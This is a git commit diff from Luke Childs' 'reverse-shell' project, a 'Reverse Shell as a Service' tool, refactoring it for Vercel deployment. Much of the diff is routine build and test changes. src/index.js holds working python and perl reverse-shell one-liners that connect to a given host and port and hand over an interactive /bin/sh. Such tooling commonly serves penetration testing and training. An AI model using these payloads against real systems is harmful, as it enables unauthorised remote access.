Browse Source

Refactor for Vercel

dependabot/npm_and_yarn/json5-and-ava--removed
Luke Childs 2 years ago
parent
commit
ff1c6f74f2
  1. 3
      .gitignore
  2. 22690
      package-lock.json
  3. 7
      package.json
  4. 13
      src/index.js
  5. 10
      test/test.js

3
.gitignore

@ -1,8 +1,5 @@
## Node ## Node
#npm5
package-lock.json
# Logs # Logs
logs logs
*.log *.log

22690
package-lock.json

File diff suppressed because it is too large

7
package.json

@ -7,10 +7,8 @@
"src" "src"
], ],
"scripts": { "scripts": {
"start": "micro -l tcp://0.0.0.0:${PORT-3000}",
"test": "xo && nyc ava", "test": "xo && nyc ava",
"coverage": "nyc report --reporter=text-lcov | coveralls", "coverage": "nyc report --reporter=text-lcov | coveralls"
"deploy": "now --public --env NODE_ENV=production && now alias"
}, },
"xo": { "xo": {
"extends": "xo-lukechilds" "extends": "xo-lukechilds"
@ -30,9 +28,6 @@
"url": "https://github.com/lukechilds/reverse-shell/issues" "url": "https://github.com/lukechilds/reverse-shell/issues"
}, },
"homepage": "https://github.com/lukechilds/reverse-shell", "homepage": "https://github.com/lukechilds/reverse-shell",
"dependencies": {
"micro": "^9.0.0"
},
"devDependencies": { "devDependencies": {
"ava": "^0.25.0", "ava": "^0.25.0",
"coveralls": "^3.0.0", "coveralls": "^3.0.0",

13
src/index.js

@ -11,7 +11,11 @@ const usage = `# Reverse Shell as a Service
# #
# 3. Don't be a dick`; # 3. Don't be a dick`;
const generateScript = (host, port) => { const reverseShell = (host, port) => {
if (!host || !port) {
return usage;
}
const payloads = { const payloads = {
python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`, python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`,
perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
@ -28,12 +32,7 @@ if command -v ${cmd} > /dev/null 2>&1; then
fi`; fi`;
return script; return script;
}, ''); }, usage);
};
const reverseShell = req => {
const [host, port] = req.url.substr(1).split(':');
return usage + (host && port && generateScript(host, port));
}; };
module.exports = reverseShell; module.exports = reverseShell;

10
test/test.js

@ -6,17 +6,11 @@ test('reverseShell is a function', t => {
}); });
test('reverseShell returns shell code with /host:port variables', t => { test('reverseShell returns shell code with /host:port variables', t => {
const req = { const returnValue = reverseShell('foo', 'bar');
url: '/foo:bar'
};
const returnValue = reverseShell(req);
t.true(returnValue.indexOf('("foo",bar)') > -1); t.true(returnValue.indexOf('("foo",bar)') > -1);
}); });
test('reverseShell returns usage if host and port aren\'t set', t => { test('reverseShell returns usage if host and port aren\'t set', t => {
const req = { const returnValue = reverseShell();
url: ''
};
const returnValue = reverseShell(req);
t.true(returnValue.indexOf('# Reverse Shell as a Service') === 0); t.true(returnValue.indexOf('# Reverse Shell as a Service') === 0);
}); });

Loading…
Cancel
Save